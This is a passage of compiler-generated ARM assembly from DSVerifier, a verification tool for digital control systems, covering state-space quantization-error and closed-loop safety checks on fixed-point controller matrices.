sub r3, r3, #724
sub r3, r3, #2
mov r2, #1
strh r2, [r3] @ movhi
.L1332:
ldr r3, [fp, #-724]
add r3, r3, #1
str r3, [fp, #-724]
.L1331:
ldr r3, .L1360+8
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-724]
cmp r3, r2
bcc .L1334
ldr r3, [fp, #-728]
add r3, r3, #1
str r3, [fp, #-728]
.L1330:
ldr r3, .L1360+12
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-728]
cmp r3, r2
bcc .L1335
mov r3, #0
str r3, [fp, #-728]
b .L1336
.L1339:
mov r3, #0
str r3, [fp, #-724]
b .L1337
.L1338:
ldr r3, [fp, #-728]
lsl r2, r3, #2
ldr r3, [fp, #-724]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #392
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-728]
lsl r2, r3, #2
ldr r3, [fp, #-724]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-712]
ldr r3, [fp, #-724]
add r3, r3, #1
str r3, [fp, #-724]
.L1337:
ldr r3, [fp, #-724]
cmp r3, #3
bls .L1338
ldr r3, [fp, #-728]
add r3, r3, #1
str r3, [fp, #-728]
.L1336:
ldr r3, [fp, #-728]
cmp r3, #3
bls .L1339
mov r3, #0
str r3, [fp, #-728]
b .L1340
.L1341:
ldr r3, [fp, #-728]
lsl r3, r3, #5
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #392
sub r3, fp, #740
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #-728]
add r3, r3, #1
str r3, [fp, #-728]
.L1340:
ldr r3, .L1360+8
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-728]
cmp r3, r2
bcc .L1341
mov r3, #0
str r3, [fp, #-728]
b .L1342
.L1343:
ldr r3, [fp, #-728]
lsl r3, r3, #4
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-648]
ldr r3, [fp, #-728]
add r3, r3, #1
str r3, [fp, #-728]
.L1342:
ldr r3, [fp, #-728]
cmp r3, #3
bls .L1343
mov r3, #0
str r3, [fp, #-728]
b .L1344
.L1345:
ldr r2, .L1360+4
ldr r3, [fp, #-728]
add r3, r3, #112
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r2, r0
ldr r3, [fp, #-728]
lsl r3, r3, #2
sub r1, fp, #4
add r3, r1, r3
str r2, [r3, #-712]
ldr r3, [fp, #-728]
add r3, r3, #1
str r3, [fp, #-728]
.L1344:
ldr r3, .L1360+16
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-728]
cmp r3, r2
bcc .L1345
mov r3, #0
str r3, [fp, #-728]
b .L1346
.L1349:
mov r3, #0
str r3, [fp, #-724]
b .L1347
.L1348:
ldr r3, [fp, #-728]
lsl r2, r3, #2
ldr r3, [fp, #-724]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #264
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-728]
lsl r2, r3, #2
ldr r3, [fp, #-724]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #136
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-724]
add r3, r3, #1
str r3, [fp, #-724]
.L1347:
ldr r3, [fp, #-724]
cmp r3, #3
bls .L1348
ldr r3, [fp, #-728]
add r3, r3, #1
str r3, [fp, #-728]
.L1346:
ldr r3, [fp, #-728]
cmp r3, #3
bls .L1349
mov r3, #0
str r3, [fp, #-720]
b .L1350
.L1351:
ldr r2, .L1360+4
ldr r3, [fp, #-720]
add r3, r3, #16
lsl r3, r3, #5
add r3, r2, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r2, r0
ldr r3, [fp, #-720]
lsl r3, r3, #4
sub r1, fp, #4
add r3, r1, r3
str r2, [r3, #-648]
ldr r3, [fp, #-720]
add r3, r3, #1
str r3, [fp, #-720]
.L1350:
ldr r3, .L1360+16
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-720]
cmp r3, r2
bcc .L1351
ldr r3, .L1360+12
ldr r3, [r3]
mov r0, r3
ldr r3, .L1360+16
ldr r3, [r3]
mov r1, r3
ldr r3, .L1360+16
ldr r3, [r3]
mov r2, r3
sub r3, fp, #588
str r3, [sp, #8]
sub r3, fp, #652
str r3, [sp, #4]
sub r3, fp, #716
str r3, [sp]
mov r3, #1
bl fxp_matrix_multiplication
mov r3, #0
str r3, [fp, #-720]
b .L1352
.L1353:
ldr r3, [fp, #-720]
lsl r3, r3, #5
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #392
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r3, r0
mov r0, r3
bl fxp_quantize
mov r3, r0
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r2, r0
ldr r3, [fp, #-720]
lsl r3, r3, #4
sub r1, fp, #4
add r3, r1, r3
str r2, [r3, #-520]
ldr r3, [fp, #-720]
add r3, r3, #1
str r3, [fp, #-720]
.L1352:
ldr r3, .L1360+8
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-720]
cmp r3, r2
bcc .L1353
ldr r3, .L1360+8
ldr r3, [r3]
mov r0, r3
sub r1, fp, #588
sub r2, fp, #524
sub r3, fp, #460
str r3, [sp]
mov r3, r1
mov r1, #1
bl fxp_sub_matrix
mov r3, #0
str r3, [fp, #-720]
b .L1354
.L1355:
ldr r3, [fp, #-720]
lsl r3, r3, #4
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-456]
mov r0, r3
bl fxp_quantize
mov r3, r0
mov r0, r3
bl fxp_to_double
mov r2, r0
mov r3, r1
ldr r0, .L1360+4
ldr r1, [fp, #-720]
add r1, r1, #24
lsl r1, r1, #5
add r1, r0, r1
stm r1, {r2-r3}
ldr r3, [fp, #-720]
add r3, r3, #1
str r3, [fp, #-720]
.L1354:
ldr r3, .L1360+8
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-720]
cmp r3, r2
bcc .L1355
ldr r3, .L1360+12
ldr r3, [r3]
mov r0, r3
ldr r3, .L1360+16
ldr r3, [r3]
mov r1, r3
ldr r3, .L1360+16
ldr r3, [r3]
mov r2, r3
sub r3, fp, #268
str r3, [sp, #8]
ldr r3, .L1360+20
str r3, [sp, #4]
ldr r3, .L1360+24
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
sub r3, fp, #4
sub r3, r3, #724
sub r3, r3, #2
ldrh r3, [r3]
cmp r3, #1
bne .L1356
ldr r3, .L1360+12
ldr r3, [r3]
mov r0, r3
ldr r3, .L1360+8
ldr r3, [r3]
mov r1, r3
ldr r3, .L1360+8
ldr r3, [r3]
mov r2, r3
sub r3, fp, #140
str r3, [sp, #8]
ldr r3, .L1360+28
str r3, [sp, #4]
ldr r3, .L1360+32
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
.L1356:
ldr r3, .L1360+12
ldr r3, [r3]
mov r0, r3
sub r3, fp, #140
sub r2, fp, #268
ldr r1, .L1360+36
str r1, [sp]
mov r1, #1
bl double_add_matrix
ldr r3, .L1360+16
ldr r3, [r3]
mov r0, r3
ldr r3, .L1360+16
ldr r3, [r3]
mov r1, r3
ldr r3, .L1360+16
ldr r3, [r3]
mov r2, r3
sub r3, fp, #268
str r3, [sp, #8]
ldr r3, .L1360+20
str r3, [sp, #4]
ldr r3, .L1360+4
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
ldr r3, .L1360+16
ldr r3, [r3]
mov r0, r3
ldr r3, .L1360+8
ldr r3, [r3]
mov r1, r3
ldr r3, .L1360+8
ldr r3, [r3]
mov r2, r3
sub r3, fp, #140
str r3, [sp, #8]
ldr r3, .L1360+28
str r3, [sp, #4]
ldr r3, .L1360+40
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
ldr r3, .L1360+16
ldr r3, [r3]
mov r0, r3
sub r3, fp, #140
sub r2, fp, #268
ldr r1, .L1360+20
str r1, [sp]
mov r1, #1
bl double_add_matrix
ldr r3, .L1360+4
add r3, r3, #640
ldmia r3, {r2-r3}
ldr r1, .L1360
ldr r0, [r1]
ldr r1, [fp, #-8]
eors r0, r1, r0
mov r1, #0
beq .L1358
bl __stack_chk_fail
.L1358:
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L1361:
.align 2
.L1360:
.word .LC77
.word _controller_fxp
.word nInputs
.word nOutputs
.word nStates
.word _controller_fxp+512
.word _controller_fxp+256
.word _controller_fxp+768
.word _controller_fxp+384
.word _controller_fxp+640
.word _controller_fxp+128
.size fxp_ss_closed_loop_quantization_error, .-fxp_ss_closed_loop_quantization_error
.section .rodata
.align 2
.LC78:
.word __stack_chk_guard
.text
.align 2
.global ss_closed_loop_quantization_error
.syntax unified
.arm
.fpu softvfp
.type ss_closed_loop_quantization_error, %function
ss_closed_loop_quantization_error:
@ args = 0, pretend = 0, frame = 416
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #432
str r0, [fp, #-420]
str r1, [fp, #-416]
ldr r3, .L1381
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #4
sub r3, r3, #400
sub r3, r3, #2
mov r2, #0
strh r2, [r3] @ movhi
mov r3, #0
str r3, [fp, #-404]
b .L1363
.L1368:
mov r3, #0
str r3, [fp, #-400]
b .L1364
.L1367:
ldr r1, .L1381+4
ldr r3, [fp, #-404]
lsl r2, r3, #2
ldr r3, [fp, #-400]
add r3, r2, r3
add r3, r3, #48
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
bne .L1365
sub r3, fp, #4
sub r3, r3, #400
sub r3, r3, #2
mov r2, #1
strh r2, [r3] @ movhi
.L1365:
ldr r3, [fp, #-400]
add r3, r3, #1
str r3, [fp, #-400]
.L1364:
ldr r3, .L1381+8
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-400]
cmp r3, r2
bcc .L1367
ldr r3, [fp, #-404]
add r3, r3, #1
str r3, [fp, #-404]
.L1363:
ldr r3, .L1381+12
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-404]
cmp r3, r2
bcc .L1368
mov r3, #0
str r3, [fp, #-404]
b .L1369
.L1372:
mov r3, #0
str r3, [fp, #-400]
b .L1370
.L1371:
ldr r3, [fp, #-404]
lsl r2, r3, #2
ldr r3, [fp, #-400]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #392
sub r3, fp, #420
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #-400]
add r3, r3, #1
str r3, [fp, #-400]
.L1370:
ldr r3, [fp, #-400]
cmp r3, #0
beq .L1371
ldr r3, [fp, #-404]
add r3, r3, #1
str r3, [fp, #-404]
.L1369:
ldr r3, .L1381+8
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-404]
cmp r3, r2
bcc .L1372
mov r3, #0
str r3, [fp, #-404]
b .L1373
.L1376:
mov r3, #0
str r3, [fp, #-400]
b .L1374
.L1375:
ldr r3, [fp, #-404]
lsl r2, r3, #2
ldr r3, [fp, #-400]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #264
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-404]
lsl r2, r3, #2
ldr r3, [fp, #-400]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #136
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-400]
add r3, r3, #1
str r3, [fp, #-400]
.L1374:
ldr r3, [fp, #-400]
cmp r3, #3
bls .L1375
ldr r3, [fp, #-404]
add r3, r3, #1
str r3, [fp, #-404]
.L1373:
ldr r3, [fp, #-404]
cmp r3, #3
bls .L1376
ldr r3, .L1381+12
ldr r3, [r3]
mov r0, r3
ldr r3, .L1381+16
ldr r3, [r3]
mov r1, r3
ldr r3, .L1381+16
ldr r3, [r3]
mov r2, r3
sub r3, fp, #268
str r3, [sp, #8]
ldr r3, .L1381+20
str r3, [sp, #4]
ldr r3, .L1381+24
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
ldr r3, .L1381+8
ldr r3, [r3]
mov r0, r3
sub r3, fp, #268
sub r2, fp, #396
ldr r1, .L1381+28
str r1, [sp]
mov r1, #1
bl double_sub_matrix
ldr r3, .L1381+12
ldr r3, [r3]
mov r0, r3
ldr r3, .L1381+16
ldr r3, [r3]
mov r1, r3
ldr r3, .L1381+16
ldr r3, [r3]
mov r2, r3
sub r3, fp, #268
str r3, [sp, #8]
ldr r3, .L1381+20
str r3, [sp, #4]
ldr r3, .L1381+32
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
sub r3, fp, #4
sub r3, r3, #400
sub r3, r3, #2
ldrh r3, [r3]
cmp r3, #1
bne .L1377
ldr r3, .L1381+12
ldr r3, [r3]
mov r0, r3
ldr r3, .L1381+8
ldr r3, [r3]
mov r1, r3
ldr r3, .L1381+8
ldr r3, [r3]
mov r2, r3
sub r3, fp, #140
str r3, [sp, #8]
ldr r3, .L1381+28
str r3, [sp, #4]
ldr r3, .L1381+36
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
.L1377:
ldr r3, .L1381+12
ldr r3, [r3]
mov r0, r3
sub r3, fp, #140
sub r2, fp, #268
ldr r1, .L1381+40
str r1, [sp]
mov r1, #1
bl double_add_matrix
ldr r3, .L1381+16
ldr r3, [r3]
mov r0, r3
ldr r3, .L1381+16
ldr r3, [r3]
mov r1, r3
ldr r3, .L1381+16
ldr r3, [r3]
mov r2, r3
sub r3, fp, #268
str r3, [sp, #8]
ldr r3, .L1381+20
str r3, [sp, #4]
ldr r3, .L1381+4
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
ldr r3, .L1381+16
ldr r3, [r3]
mov r0, r3
ldr r3, .L1381+8
ldr r3, [r3]
mov r1, r3
ldr r3, .L1381+8
ldr r3, [r3]
mov r2, r3
sub r3, fp, #140
str r3, [sp, #8]
ldr r3, .L1381+28
str r3, [sp, #4]
ldr r3, .L1381+44
str r3, [sp]
mov r3, #1
bl double_matrix_multiplication
ldr r3, .L1381+16
ldr r3, [r3]
mov r0, r3
sub r3, fp, #140
sub r2, fp, #268
ldr r1, .L1381+20
str r1, [sp]
mov r1, #1
bl double_add_matrix
ldr r3, .L1381+4
add r3, r3, #640
ldmia r3, {r2-r3}
ldr r1, .L1381
ldr r0, [r1]
ldr r1, [fp, #-8]
eors r0, r1, r0
mov r1, #0
beq .L1379
bl __stack_chk_fail
.L1379:
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L1382:
.align 2
.L1381:
.word .LC78
.word _controller_double
.word nInputs
.word nOutputs
.word nStates
.word _controller_double+512
.word _controller_double+896
.word _controller_double+768
.word _controller_double+256
.word _controller_double+384
.word _controller_double+640
.word _controller_double+128
.size ss_closed_loop_quantization_error, .-ss_closed_loop_quantization_error
.section .rodata
.align 2
.LC79:
.ascii "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4"
.ascii ".0-cbmc-5.6/bmc/engine/verify_error_state_space.h\000"
.align 2
.LC80:
.ascii "__quant_error < error_limit && __quant_error > ((-1"
.ascii ")*error_limit)\000"
.align 2
.LC81:
.word __stack_chk_guard
.text
.align 2
.global verify_error_state_space
.syntax unified
.arm
.fpu softvfp
.type verify_error_state_space, %function
verify_error_state_space:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, fp, lr}
add fp, sp, #20
sub sp, sp, #40
ldr r3, .L1418
ldr r3, [r3]
str r3, [fp, #-24]
mov r3,#0
mov r3, #0
str r3, [fp, #-60]
b .L1384
.L1387:
mov r3, #0
str r3, [fp, #-56]
b .L1385
.L1386:
ldr r1, .L1418+4
ldr r3, [fp, #-60]
lsl r2, r3, #2
ldr r3, [fp, #-56]
add r3, r2, r3
add r3, r3, #64
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
ldr ip, .L1418+8
ldr r1, [fp, #-60]
lsl r0, r1, #2
ldr r1, [fp, #-56]
add r1, r0, r1
lsl r1, r1, #3
add r1, ip, r1
stm r1, {r2-r3}
ldr r3, [fp, #-56]
add r3, r3, #1
str r3, [fp, #-56]
.L1385:
ldr r3, [fp, #-56]
cmp r3, #0
ble .L1386
ldr r3, [fp, #-60]
add r3, r3, #1
str r3, [fp, #-60]
.L1384:
ldr r3, .L1418+12
ldr r3, [r3]
ldr r2, [fp, #-60]
cmp r2, r3
blt .L1387
mov r3, #0
str r3, [fp, #-60]
b .L1388
.L1391:
mov r3, #0
str r3, [fp, #-56]
b .L1389
.L1390:
ldr r1, .L1418+4
ldr r3, [fp, #-60]
lsl r2, r3, #2
ldr r3, [fp, #-56]
add r3, r2, r3
add r3, r3, #64
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
ldr ip, .L1418+16
ldr r1, [fp, #-60]
lsl r0, r1, #2
ldr r1, [fp, #-56]
add r1, r0, r1
lsl r1, r1, #3
add r1, ip, r1
stm r1, {r2-r3}
ldr r3, [fp, #-56]
add r3, r3, #1
str r3, [fp, #-56]
.L1389:
ldr r3, [fp, #-56]
cmp r3, #0
ble .L1390
ldr r3, [fp, #-60]
add r3, r3, #1
str r3, [fp, #-60]
.L1388:
ldr r3, .L1418+12
ldr r3, [r3]
ldr r2, [fp, #-60]
cmp r2, r3
blt .L1391
ldr r2, .L1418+20
ldr r3, .L1418+4
mov r0, r2
mov r1, r3
mov r3, #1040
mov r2, r3
bl memcpy
ldr r2, .L1418+24
ldr r3, .L1418+4
mov r0, r2
mov r1, r3
mov r3, #1040
mov r2, r3
bl memcpy
ldr r3, .L1418+28
mov r2, #0
str r2, [r3]
ldr r3, .L1418+32
add r3, r3, #16
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
str r0, [fp, #-52]
ldr r3, .L1418+32
add r3, r3, #8
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
str r0, [fp, #-48]
bl nondet_double
str r0, [fp, #-44]
str r1, [fp, #-40]
ldr r0, [fp, #-52]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
beq .L1392
ldr r0, [fp, #-48]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L1392
mov r3, #1
b .L1395
.L1392:
mov r3, #0
.L1395:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
mov r3, #0
str r3, [fp, #-60]
b .L1396
.L1397:
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_d2iz
mov r2, r0
ldr r3, [fp, #-60]
lsl r3, r3, #2
sub r1, fp, #20
add r3, r1, r3
str r2, [r3, #-8]
ldr r3, [fp, #-60]
add r3, r3, #1
str r3, [fp, #-60]
.L1396:
ldr r3, [fp, #-60]
cmp r3, #0
blt .L1397
ldr r3, .L1418+36
ldr r3, [r3]
cmp r3, #0
beq .L1398
mov r3, #0
str r3, [fp, #-60]
b .L1399
.L1404:
ldr r3, [fp, #-60]
lsl r3, r3, #2
sub r2, fp, #20
add r3, r2, r3
ldr r3, [r3, #-8]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl ss_closed_loop_quantization_error
mov r4, r0
mov r5, r1
ldr r3, [fp, #-60]
lsl r3, r3, #2
sub r2, fp, #20
add r3, r2, r3
ldr r3, [r3, #-8]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl fxp_ss_closed_loop_quantization_error
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
ldr r3, .L1418+40
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L1400
ldr r3, .L1418+40
ldmia r3, {r2-r3}
mov r6, r2
eor r7, r3, #-2147483648
mov r2, r6
mov r3, r7
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
bne .L1403
.L1400:
ldr r3, .L1418+44
ldr r2, .L1418+48
ldr r1, .L1418+52
ldr r0, .L1418+56
bl __assert_fail
.L1403:
ldr r3, [fp, #-60]
add r3, r3, #1
str r3, [fp, #-60]
.L1399:
ldr r3, [fp, #-60]
cmp r3, #0
blt .L1404
b .L1405
.L1398:
mov r3, #0
str r3, [fp, #-60]
b .L1406
.L1411:
ldr r3, [fp, #-60]
lsl r3, r3, #2
sub r2, fp, #20
add r3, r2, r3
ldr r3, [r3, #-8]
mov r0, r3
bl ss_system_quantization_error
str r0, [fp, #-36]
str r1, [fp, #-32]
ldr r3, .L1418+40
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L1407
ldr r3, .L1418+40
ldmia r3, {r2-r3}
mov r4, r2
eor r5, r3, #-2147483648
mov r2, r4
mov r3, r5
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
bne .L1410
.L1407:
ldr r3, .L1418+44
ldr r2, .L1418+60
ldr r1, .L1418+52
ldr r0, .L1418+56
bl __assert_fail
.L1410:
ldr r3, [fp, #-60]
add r3, r3, #1
str r3, [fp, #-60]
.L1406:
ldr r3, [fp, #-60]
cmp r3, #0
blt .L1411
.L1405:
mov r3, #0
ldr r2, .L1418
ldr r1, [r2]
ldr r2, [fp, #-24]
eors r1, r2, r1
mov r2, #0
beq .L1413
bl __stack_chk_fail
.L1413:
mov r0, r3
sub sp, fp, #20
@ sp needed
pop {r4, r5, r6, r7, fp, pc}
.L1419:
.align 2
.L1418:
.word .LC81
.word _controller
.word new_state
.word nStates
.word new_stateFWL
.word _controller_fxp
.word _controller_double
.word overflow_mode
.word impl
.word closed_loop
.word error_limit
.word __PRETTY_FUNCTION__.7688
.word 354
.word .LC79
.word .LC80
.word 361
.size verify_error_state_space, .-verify_error_state_space
.section .rodata
.align 2
.LC82:
.word __stack_chk_guard
.text
.align 2
.global fxp_ss_closed_loop_safety
.syntax unified
.arm
.fpu softvfp
.type fxp_ss_closed_loop_safety, %function
fxp_ss_closed_loop_safety:
@ args = 0, pretend = 0, frame = 600
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #600
ldr r3, .L1454
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #4
sub r3, r3, #592
sub r3, r3, #2
mov r2, #0
strh r2, [r3] @ movhi
mov r3, #0
str r3, [fp, #-592]
b .L1421
.L1426:
mov r3, #0
str r3, [fp, #-596]
b .L1422
.L1425:
ldr r1, .L1454+4
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-596]
add r3, r2, r3
add r3, r3, #48
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
bne .L1423
sub r3, fp, #4
sub r3, r3, #592
sub r3, r3, #2
mov r2, #1
strh r2, [r3] @ movhi
.L1423:
ldr r3, [fp, #-596]
add r3, r3, #1
str r3, [fp, #-596]
.L1422:
ldr r3, .L1454+8
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-596]
cmp r3, r2
bcc .L1425
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L1421:
ldr r3, .L1454+12
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-592]
cmp r3, r2
bcc .L1426
mov r3, #0
str r3, [fp, #-592]
b .L1427
.L1430:
mov r3, #0
str r3, [fp, #-596]
b .L1428
.L1429:
ldr r1, .L1454+4
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-596]
add r3, r2, r3
add r3, r3, #96
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
ldr r1, [fp, #-592]
lsl r0, r1, #2
ldr r1, [fp, #-596]
add r1, r0, r1
lsl r1, r1, #3
sub r0, fp, #4
add r1, r0, r1
sub r1, r1, #392
stm r1, {r2-r3}
ldr r3, [fp, #-596]
add r3, r3, #1
str r3, [fp, #-596]
.L1428:
ldr r3, [fp, #-596]
cmp r3, #0
beq .L1429
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L1427:
ldr r3, .L1454+8
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-592]
cmp r3, r2
bcc .L1430
mov r3, #0
str r3, [fp, #-592]
b .L1431
.L1434:
mov r3, #0
str r3, [fp, #-596]
b .L1432
.L1433:
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-596]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-584]
ldr r3, [fp, #-596]
add r3, r3, #1
str r3, [fp, #-596]
.L1432:
ldr r3, .L1454+12
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-596]
cmp r3, r2
bcc .L1433
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L1431:
ldr r3, .L1454+8
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-592]
cmp r3, r2
bcc .L1434
mov r3, #0
str r3, [fp, #-592]
b .L1435
.L1438:
mov r3, #0
str r3, [fp, #-596]
b .L1436
.L1437:
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-596]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-520]
ldr r3, [fp, #-596]
add r3, r3, #1
str r3, [fp, #-596]
.L1436:
ldr r3, [fp, #-596]
cmp r3, #0
beq .L1437
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L1435:
ldr r3, .L1454+12
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-592]
cmp r3, r2
bcc .L1438
mov r3, #0
str r3, [fp, #-592]
b .L1439
.L1442:
mov r3, #0
str r3, [fp, #-596]
b .L1440
.L1441:
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-596]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-456]
ldr r3, [fp, #-596]
add r3, r3, #1
str r3, [fp, #-596]
.L1440:
ldr r3, [fp, #-596]
cmp r3, #3
bls .L1441
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L1439:
ldr r3, [fp, #-592]
cmp r3, #3
bls .L1442
mov r3, #0
str r3, [fp, #-592]
b .L1443
.L1446:
mov r3, #0
str r3, [fp, #-596]
b .L1444
.L1445:
ldr r1, .L1454+4
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-596]
add r3, r2, r3
add r3, r3, #112
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r1, r0
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-596]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
str r1, [r3, #-584]
ldr r3, [fp, #-596]
add r3, r3, #1
str r3, [fp, #-596]
.L1444:
ldr r3, .L1454+12
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-596]
cmp r3, r2
bcc .L1445
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L1443:
ldr r3, .L1454+8
ldr r3, [r3]
mov r2, r3
ldr r3, [fp, #-592]
cmp r3, r2
bcc .L1446
mov r3, #0
str r3, [fp, #-592]
b .L1447
.L1450:
mov r3, #0
str r3, [fp, #-596]
b .L1448
.L1449:
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-596]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #264
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-592]
lsl r2, r3, #2
ldr r3, [fp, #-596]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #136
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-596]
add r3, r3, #1
str r3, [fp, #-596]
.L1448:
ldr r3, [fp, #-596]
cmp r3, #3
bls .L1449
ldr r3, [fp, #-592]
add r3, r3, #1
str r3, [fp, #-592]
.L1447:
ldr r3, [fp, #-592]
cmp r3, #3
bls .L1450
mov r3, #1
